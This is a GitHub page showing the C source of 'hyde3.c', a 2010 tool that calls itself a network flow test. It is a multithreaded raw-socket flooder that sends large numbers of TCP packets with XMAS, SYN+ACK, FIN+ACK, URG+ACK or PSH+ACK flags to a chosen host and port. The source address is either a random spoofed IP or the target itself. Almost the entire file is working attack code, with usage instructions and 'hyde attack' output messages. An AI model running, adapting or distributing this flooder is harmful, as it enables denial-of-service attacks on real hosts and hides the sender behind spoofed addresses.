forked from CoolerVoid/C
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhyde3.c
587 lines (507 loc) · 14.9 KB
/
hyde3.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
/*
..::hyde:NetWork:FlowTest::..
__..._
,-` `',
,' \
/ |
,' , \
,' ,/-'` \
_ ./ ,.'`/ \
.-` `^\_,.'` / `\__
7 / / _,._,.,_,.-'.` `\ (((((((((((((((
\A __/ ,-```-`` `, `, ` ,`) ((((
^-` / ` ,/ )))))))))
( , ,_ ,-,_,<` (((((((
\__ T--` `''` ``` _,\ (((((((
\_/|\_ ,.-` | | ))))
_/ | |T\_ _,'Y / +--,_ (((
<``` \_\/_/ `\\_/ / `\ ______________
/ ,-- ` _,--,_`----` _,,_ \ [______________]
/ ` | <_._._ > ` \ ` \` \ |
| | , ` | | \ /
V| \ | | |` \ /
\ \ / (================( )
\x \_ | /-` / +-------+
\ `-,| ,/--` /`
\x_ \_ /--'` , /
\x_ `` ,,/` `
`-,_,-' ,'`
_| |`\
( `-``/``/`_/
`-`-,.-.-`
coded by
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░▓██████▒░▓████░▓████░▓█▒░░░░▓█████▒░▓██████▒░░░░
░░▓██▒░░░░░░▓▒░░█░▓▒░░█░▓█▒░░░░▓█▒░░░░░▓█▒░░░█▒░░░░
░░▓█▒░░░░░░░▓▒░░█░▓▒░░█░▓█▒░░░░▓████▒░░▓█████▒░░░░░
░░▓██▒░░░░░░▓▒░░█░▓▒░░█░▓█▒░░░░▓█▒░░░░░▓█▒░░▓█▒░░░░
░░░▓██████▒░▓████░▓████░▓████▒░▓█████▒░▓█▒░░░▓█▒░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
"He nozes"
* jUsT Another Tool to Test your NetWork
"follow this:",
"./code HOST PORT Number_Packets_to_send TYPE threads",
" 0 - XMAS with Spoofing",
" 1 - SYN+ACK with Spoofing",
" 2 - SYN+ACK with Mirror Spoofing",
" 3 - FIN+ACK with Spoofing",
" 4 - FIN+ACK with Mirror Spoofing",
" 5 - URG+ACK with Spoofing",
" 6 - URG+ACK With Mirror Spoofing",
" 7 - PSH+ACK With Spoofing",
" 8 - XMAS with Mirror Spoofing",
"ex: ./code www.server.com 80 20000 4 5",
"..::hyde:NetWork:FlowTest::..",
Need RooT to COmpile THis
gcc -o hyde3 hyde3.c;
Author: Cooler_
E-mail: c00f3r[at]gmail[dot]com
date: 17/03/2010
BugSec Security TEAM
http://code.google.com/p/bugsec/
thanks: m0nad,_mlk_,IAK,sigsegv,b4r0n,MenteBinaria,
f117,delfo,c0lt7r,joey,fokerbug,zepplin,otacon,backbone,
nibbles,voidpointer,muzgo,nbrito...
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
// socks
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#define SIZE 50
#define BUF 19
// pthread Header
#include <pthread.h>
#define BUGVIEW 1
// debug purpoises
#define DEBUG(x, s...) do { \
if (!BUGVIEW) { break; } \
time_t t = time(NULL); \
char *d = ctime(&t); \
fprintf(stderr, "%.*s %s[%d] %s(): ", \
(int)strlen(d) - 1, d, __FILE__, \
__LINE__, __FUNCTION__); \
fprintf(stderr, x, ## s); \
} while (0);
//Mutex Always is global, because the functions need look him to call
pthread_mutex_t morfo = PTHREAD_MUTEX_INITIALIZER;
// HEAP alignment :-X
void *xmalloc(unsigned int len)
{
void *ptr;
ptr=malloc(len);
if(ptr==NULL)
DEBUG("fail malloc");
return ptr;
}
// thanks m0nad and sigsegv ,for help
in_addr_t RandomIp()
{
return rand()%0xffffffff + 0x1;
}
//calculo feito afim de checar a integridade
unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
register u_short answer; // u_short == 16 bits
register long sum; // long == 32 bits
u_short oddbyte;
sum = 0;
while(nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}
if(!(nbytes^1))
{
oddbyte = 0;
*((u_char *) &oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff); // addicina auto-16 para baixo-16
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
//function from my Brother I4K the master of wizards
//from Orion-Socket API
int orion_getHostByName(const char* name, char* buffer)
{
struct addrinfo hints, * res, * res0 = NULL;
struct sockaddr_in * target = NULL;
int error;
char *tmp = NULL;
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = 0;
error = getaddrinfo(name, "http", &hints, &res0);
if(error)
{
if (res0)
freeaddrinfo(res0);
return 1;
}
for (res = res0; res; res = res->ai_next)
{
target = (struct sockaddr_in *) res->ai_addr;
if (target)
{
tmp = inet_ntoa(target->sin_addr);
if (tmp && strlen(tmp))
{
strncpy(buffer, tmp, strlen(tmp));
buffer[strlen(tmp)] = '\0';
if (res0)
freeaddrinfo(res0);
return 1;
}
}
}
freeaddrinfo(res0);
return 0;
}
void *fazerpacote(void *arg)
{
char *source_addr,*dest_addr;
unsigned short dest_port,ran_port;
int escolha;
// Unpack args
char **arguments = (char **)arg;
source_addr=arguments[0];
dest_addr=arguments[1];
dest_port=atoi(arguments[2]);
ran_port=atoi(arguments[3]);
escolha=atoi(arguments[4]);
/////
struct envio {
struct iphdr ip;
struct tcphdr tcp;
} envio;
struct pseudo_header {
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
} pseudo_header;
int tcp_socket;
int sinlen;
struct sockaddr_in sin;
unsigned int remetente,destino;
// string 2 int
// if ipv6 AF_INET6
inet_pton(AF_INET, source_addr, &remetente);
inet_pton(AF_INET, dest_addr, &destino);
//setamos variaveis do pacote ip
envio.ip.ihl = 5;
envio.ip.version = 4;
envio.ip.tos = 0;
envio.ip.tot_len = htons(40);
envio.ip.id = ran_port;
envio.ip.frag_off = 0;
envio.ip.ttl = 255;
envio.ip.protocol = IPPROTO_TCP;
envio.ip.check = 0;
envio.ip.saddr = remetente;
envio.ip.daddr = destino;
//setamos variaveis do pacote TCP
envio.tcp.source = ran_port;
envio.tcp.dest = htons(dest_port);
envio.tcp.seq = ran_port;
envio.tcp.res1 = 0;
envio.tcp.res2 = 0;
envio.tcp.doff = 5;
envio.tcp.ack = 0;
envio.tcp.ack_seq = 0;
envio.tcp.urg_ptr = 0;
envio.tcp.window = htons(512);
envio.tcp.check = 0;
// lock
pthread_mutex_lock(&morfo);
switch(escolha)
{
// XMAS with Spoofing
case 0:
envio.tcp.fin = 1;
envio.tcp.syn = 1;
envio.tcp.rst = 1;
envio.tcp.psh = 1;
envio.tcp.urg = 1;
envio.tcp.ack = 1;
break;
// SYN with Spoofing
case 1:
envio.tcp.fin = 0;
envio.tcp.syn = 1;
envio.tcp.rst = 0;
envio.tcp.psh = 0;
envio.tcp.urg = 0;
envio.tcp.ack = 1;
break;
// SYN with Mirror Spoofing
case 2:
envio.tcp.fin = 0;
envio.tcp.syn = 1;
envio.tcp.rst = 0;
envio.tcp.psh = 0;
envio.tcp.urg = 0;
envio.tcp.ack = 1;
break;
// FIN with spoofing
case 3:
envio.tcp.fin = 1;
envio.tcp.syn = 0;
envio.tcp.rst = 0;
envio.tcp.psh = 0;
envio.tcp.urg = 0;
envio.tcp.ack = 1;
break;
//FIN with Mirror Spoofing
case 4:
envio.tcp.fin = 0;
envio.tcp.syn = 1;
envio.tcp.rst = 0;
envio.tcp.psh = 0;
envio.tcp.urg = 0;
envio.tcp.ack = 1;
break;
// URG ...
case 5:
envio.tcp.fin = 0;
envio.tcp.syn = 0;
envio.tcp.rst = 0;
envio.tcp.psh = 0;
envio.tcp.urg = 1;
envio.tcp.ack = 1;
break;
case 6:
envio.tcp.fin = 0;
envio.tcp.syn = 0;
envio.tcp.rst = 0;
envio.tcp.psh = 0;
envio.tcp.urg = 1;
envio.tcp.ack = 1;
break;
// PSH ...
case 7:
envio.tcp.fin = 0;
envio.tcp.syn = 0;
envio.tcp.rst = 0;
envio.tcp.psh = 1;
envio.tcp.urg = 0;
envio.tcp.ack = 1;
break;
// XMAS with mirror
case 8:
envio.tcp.fin = 1;
envio.tcp.syn = 1;
envio.tcp.rst = 1;
envio.tcp.psh = 1;
envio.tcp.urg = 1;
envio.tcp.ack = 1;
break;
}
sin.sin_family = AF_INET;
sin.sin_port = envio.tcp.source;
sin.sin_addr.s_addr = envio.ip.daddr;
// abrimos a socket
tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(tcp_socket < 0)
{
perror("socket");
exit(1);
}
// setamos os campos que precisão ser mudados
envio.tcp.source++;
envio.ip.id++;
envio.tcp.seq++;
envio.tcp.check = 0;
envio.ip.check = 0;
// checksum
envio.ip.check = in_cksum((unsigned short *)&envio.ip, 20); //20
// setamos campo dos cabeçalhos
pseudo_header.source_address = envio.ip.saddr;
pseudo_header.dest_address = envio.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20);
bcopy((char *)&envio.tcp, (char *)&pseudo_header.tcp, 20); //20
envio.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32); //32
sinlen = sizeof(sin);
sendto(tcp_socket, &envio, 40, 0, (struct sockaddr *)&sin, sinlen);
close(tcp_socket);
pthread_mutex_unlock(&morfo);
pthread_exit(NULL);
}
void help()
{
puts(
"follow this:\n"
"./code HOST PORT Number_Packets TYPE Threads\n"
" 0 - XMAS with Spoofing\n"
" 1 - SYN+ACK with Spoofing\n"
" 2 - SYN+ACK with Mirror Spoofing\n"
" 3 - FIN+ACK with Spoofing\n"
" 4 - FIN+ACK with Mirror Spoofing\n"
" 5 - URG+ACK with Spoofing\n"
" 6 - URG+ACK With Mirror Spoofing\n"
" 7 - PSH+ACK With Spoofing\n"
" 8 - XMAS with Mirror Spoofing\n"
"ex: ./code www.server.com 80 20000 4 50\n"
"..::hyde:NetWork:FlowTest::.. \n"
"Coded by Cooler_ c00f3r[at]gmail[dot]com\n"
);
}
int main(int argc, char *argv[])
{
char IP[15];
char *destino=NULL;
in_addr_t remetente;
void * addr_ptr = NULL;
addr_ptr = &remetente;
char addr_str[256];
unsigned short port=80;
int escolha=0,filhos=0,count=0;
long long int number=500;
int8_t rc1;
srand(time(NULL));
if(argc < 6)
{
help();
exit(0);
}
if(!orion_getHostByName(argv[1],IP))
{
DEBUG("orion_gethostbyname() failed");
exit(1);
}
fprintf(stdout,"\nIP: %s \n",IP);
if(argc >= 3)
{
port = atoi(argv[2]);
if(!(port<=65535&& port>0))
DEBUG("error in port");
}
if(argc >= 4)
number = atoi(argv[3]);
if(argc >= 5)
{
escolha = atoi(argv[4]);
if(escolha<0 || escolha > 8)
DEBUG("please choice a true option");
}
if(argc >= 6)
{
filhos = atoi(argv[5]);
if(filhos<=0)
DEBUG("set number of threads please");
}
if(filhos<2)
filhos = 2;
fprintf(stdout,"fate : %s\n",argv[1]);
fprintf(stdout,"Port : %u\n",port);
fprintf(stdout,"threads : %u\n",filhos);
fprintf(stdout,"Number of times: %lld\n\n", number);
destino=xmalloc(sizeof(IP));
strncpy(destino,IP, (sizeof(IP)) );
switch(escolha)
{
case 0:
puts("Type: XMAS with Spoofing");
break;
case 1:
puts("Type: SYN+ACK with Spoofing");
break;
case 2:
puts("Type: SYN+ACK with Mirror Spoofing");
break;
case 3:
puts("Type: FIN+ACK with Spoofing");
break;
case 4:
puts("Type: FIN+ACK with Mirror Spoofing");
break;
case 5:
puts("Type: URG+ACK with Spoofing");
break;
case 6:
puts("Type: URG+ACK with Mirror Spoofing");
break;
case 7:
puts("Type: PSH+ACK with Spoofing");
break;
case 8:
puts("Type: XMAS with Mirror Spoofing");
break;
}
pthread_t *thread;
thread=(pthread_t *)xmalloc(sizeof(pthread_t)*filhos+1);
// pack to bypass void pointer
char **ThreadArgv;
ThreadArgv=(char **)xmalloc(4*sizeof(char *));
char *StrPort=(char *)xmalloc(sizeof(char)*6);
sprintf( StrPort,"%d", port);
ThreadArgv[2]=StrPort;
ThreadArgv[3]=StrPort;
char *StrChoice=(char *)xmalloc(sizeof(char)*3);
sprintf( StrChoice,"%d", escolha);
ThreadArgv[4]=StrChoice;
while(number)
{
if( (!(escolha&1))&&(escolha) )
{
// packing arguments 2 function
ThreadArgv[0]=destino;
ThreadArgv[1]=destino;
fprintf(stdout,"hyde attack %s the port %u, spoofing %s in port %u\n", IP, port, IP, port);
// start thread
if((rc1=pthread_create(&thread[count],NULL,&fazerpacote,(void *) ThreadArgv)))
DEBUG("error in thread %d",count);
if(count==filhos)
{
while(count)
{
pthread_join(thread[count],NULL);
count--;
}
}
number--;
count++;
}
else
{
// packing arguments 2 function
remetente=RandomIp();
inet_ntop (AF_INET, addr_ptr, addr_str, 256);
ThreadArgv[0]=addr_str;
ThreadArgv[1]=destino;
fprintf(stdout,"hyde attack %s in port %u, spoofing %s in port %u\n", destino, port, addr_str, port);
// start thread
if((rc1=pthread_create(&thread[count],NULL,&fazerpacote,(void *) ThreadArgv)))
DEBUG("error in thread %d",count);
if(count==filhos)
{
while(count)
{
pthread_join(thread[count],NULL);
count--;
}
}
number--;
count++;
}
}
free(thread);
free(destino);
free(ThreadArgv);
free(StrPort);
free(StrChoice);
return 0;
}